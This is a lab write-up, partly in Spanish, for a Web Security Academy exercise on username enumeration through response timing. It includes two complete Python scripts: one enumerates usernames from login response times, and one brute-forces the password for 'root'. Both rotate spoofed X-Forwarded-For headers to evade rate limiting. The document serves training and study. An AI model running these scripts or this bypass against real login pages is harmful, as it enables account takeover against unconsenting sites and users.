← Writeups

5 Username enumeration via response timing

Here we use our credentials to see how the response time varies depending on the input on password, when using correct credentials, correct username but incorrect passwords the behavior changes this way:

  • usuario incorrecto + pass incorrecta : 900 ms
  • usuario correcto + pass incorrecta : 896 ms casi igual que el anterior
  • usuario correcto + blog de strings mediante openssl rand -hex 200 : 2.6 segundos
  • usuario incorrecto + blog de strings : 650 ms conclusion: el usuario es correcto cuando la response es mayor de 3 segundos En este caso primero realizo un benchmark del tiempo en milisegundos con las credenciales correctas y con las credenciales incorrectas. Ademas cuenta con rate limit de intentos el cual puede ser eludido mediante headers en el siguiente header X-Forwarded-For: 127.0.0.1

Mediante python

enumeracion de usuarios

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep, time
from string import ascii_lowercase
import random

def fetchUsername(filename):
    listUsername = list()

    with open(filename) as fd:
        for line in fd:
            listUsername.append(line.strip())

    return listUsername

def sendRequest(url, cookie, username, header):
    randomPassword = ''.join(random.choices(ascii_lowercase, k=699))

    loginData = {
        'username': username,
        'password': randomPassword
    }

    startTime = time()
    requests.post(url, cookies=cookie, data=loginData, headers=header)
    endTime = time()
    # If the response time is greater than or equal to 3 seconds, it indicates that the user exists in the system.
    if endTime - startTime >= 3:
        print(f'[+] Found user: {username}')

def main():
    url = 'https://0a3800ae046be0518436881800ea00de.web-security-academy.net/login'
    cookie = {'session': 'TeWYCqHlJiGb7EUXaytH8DhqMYtW7EuW'}

    userFileName = './users.txt'
    listUsername = fetchUsername(userFileName)
    
    count = 0

    for username in listUsername:
        count += 1
        header = {'X-Forwarded-For': '1.1.1.' + str(count)}

        thread = Thread(target=sendRequest, args=(url, cookie, username, header))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()

enumeracion de password

#!/usr/bin/env python3

import requests
from threading import Thread
from time import sleep

def fetchPassword(filename):
    listPassword = list()

    with open(filename) as fd:
        for line in fd:
            listPassword.append(line.strip())

    return listPassword

def sendRequest(url, cookie, password, header):
    loginData = {
        'username': 'root',
        'password': password
    }

    loginRequestText = requests.post(url, cookies=cookie, data=loginData, headers=header).text

    if 'Invalid username or password.' not in loginRequestText:
        print(f'[+] Found password: {password}')

def main():
    url = 'https://0a3800ae046be0518436881800ea00de.web-security-academy.net/login'
    cookie = {'session': 'TeWYCqHlJiGb7EUXaytH8DhqMYtW7EuW'}

    passwordFileName = './pass.txt'
    listPassword = fetchPassword(passwordFileName)
    
    count = 0

    for password in listPassword:
        count += 1
        header = {'X-Forwarded-For': '1.1.2.' + str(count)}

        thread = Thread(target=sendRequest, args=(url, cookie, password, header))
        thread.start()
        sleep(0.2)

if __name__ == '__main__':
    main()